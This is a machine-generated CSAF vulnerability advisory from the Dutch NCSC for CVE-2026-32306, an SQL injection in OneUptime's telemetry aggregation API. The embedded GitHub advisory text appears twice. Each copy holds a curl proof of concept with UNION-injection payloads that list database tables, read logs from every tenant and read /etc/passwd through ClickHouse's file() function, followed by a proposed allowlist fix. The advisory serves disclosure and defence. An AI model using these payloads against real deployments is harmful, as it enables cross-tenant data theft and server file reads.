{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32306",
        "tracking": {
            "current_release_date": "2026-03-23T03:33:27.767471Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32306",
            "initial_release_date": "2026-03-12T21:38:34.570249Z",
            "revision_history": [
                {
                    "date": "2026-03-12T21:38:34.570249Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-12T21:38:44.374854Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-13T07:35:34.665491Z",
                    "number": "3",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-13T14:13:31.294020Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-13T20:32:20.069072Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-13T20:32:26.680505Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-13T21:12:46.856057Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-13T21:12:48.684795Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-14T04:39:08.658268Z",
                    "number": "9",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-16T17:45:20.152142Z",
                    "number": "10",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-17T20:26:09.477459Z",
                    "number": "11",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-17T20:26:12.355972Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-18T15:56:40.357082Z",
                    "number": "13",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-18T15:56:49.965584Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:28:45.160070Z",
                    "number": "15",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:28:47.962716Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:31:10.239123Z",
                    "number": "17",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                }
            ],
            "status": "interim",
            "version": "17"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.0.23",
                                "product": {
                                    "name": "vers:unknown/<10.0.23",
                                    "product_id": "CSAFPID-5810820"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "oneuptime"
                    }
                ],
                "category": "vendor",
                "name": "OneUptime"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.0.23",
                                "product": {
                                    "name": "vers:unknown/<10.0.23",
                                    "product_id": "CSAFPID-5839259",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "oneuptime"
                    }
                ],
                "category": "vendor",
                "name": "hackerbay"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32306",
            "cwe": {
                "id": "CWE-89",
                "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-32306"
                },
                {
                    "category": "description",
                    "text": "OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-32306"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point — `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n// BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(\n    req.body[\"aggregateBy\"]\n) as AggregateBy<TBaseModel>;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation — `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n// AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n    // Only truthiness check — no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection — `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**\n\n```typescript\n// StatementGenerator.ts:527\nstatement.append(\n    `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n// Statement.ts:149-151\npublic append(text: string): Statement {\n    this.query += text; // Raw concatenation — \"trusted SQL\"\n    return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n  | jq -r '.token')\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\\''oneuptime'\\'' --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\\''/etc/passwd'\\'') --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { — truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts\n# this.query += text; — \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\\|sanitize\\|allowlist'\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own\n2. **Data manipulation** — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** — Via ClickHouse's `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** — Via ClickHouse's `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** — ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n    throw new BadRequestException(\n        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`\n    );\n}\n\n// 2. Validate aggregateColumnName against the model's known columns:\nconst modelColumns = model.getColumnNames(); // or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n    throw new BadRequestException(\n        `Invalid column: ${aggregateBy.aggregateColumnName}`\n    );\n}\n\n// 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName &&\n    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n    throw new BadRequestException(\n        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n    );\n}\n\n// 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter('aggregationType', aggregateBy.aggregationType);\nstatement.addParameter('columnName', aggregateBy.aggregateColumnName);\n```",
                    "title": "github - https://github.com/advisories/GHSA-p5g2-jm85-8g35"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point — `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n// BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(\n    req.body[\"aggregateBy\"]\n) as AggregateBy<TBaseModel>;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation — `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n// AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n    // Only truthiness check — no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection — `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**\n\n```typescript\n// StatementGenerator.ts:527\nstatement.append(\n    `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n// Statement.ts:149-151\npublic append(text: string): Statement {\n    this.query += text; // Raw concatenation — \"trusted SQL\"\n    return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n  | jq -r '.token')\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\\''oneuptime'\\'' --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\\''/etc/passwd'\\'') --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { — truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts\n# this.query += text; — \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\\|sanitize\\|allowlist'\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own\n2. **Data manipulation** — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** — Via ClickHouse's `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** — Via ClickHouse's `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** — ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n    throw new BadRequestException(\n        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`\n    );\n}\n\n// 2. Validate aggregateColumnName against the model's known columns:\nconst modelColumns = model.getColumnNames(); // or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n    throw new BadRequestException(\n        `Invalid column: ${aggregateBy.aggregateColumnName}`\n    );\n}\n\n// 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName &&\n    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n    throw new BadRequestException(\n        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n    );\n}\n\n// 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter('aggregationType', aggregateBy.aggregationType);\nstatement.addParameter('columnName', aggregateBy.aggregateColumnName);\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-p5g2-jm85-8g35"
                },
                {
                    "category": "other",
                    "text": "0.00395",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent CVSS (V3) score, There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5810820",
                    "CSAFPID-5839259"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-32306"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32306.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32306"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32306"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32306"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-p5g2-jm85-8g35"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-p5g2-jm85-8g35"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-p5g2-jm85-8g35"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-p5g2-jm85-8g35"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32306"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
                        "baseScore": 9.9,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5810820",
                        "CSAFPID-5839259"
                    ]
                }
            ],
            "title": "CVE-2026-32306"
        }
    ]
}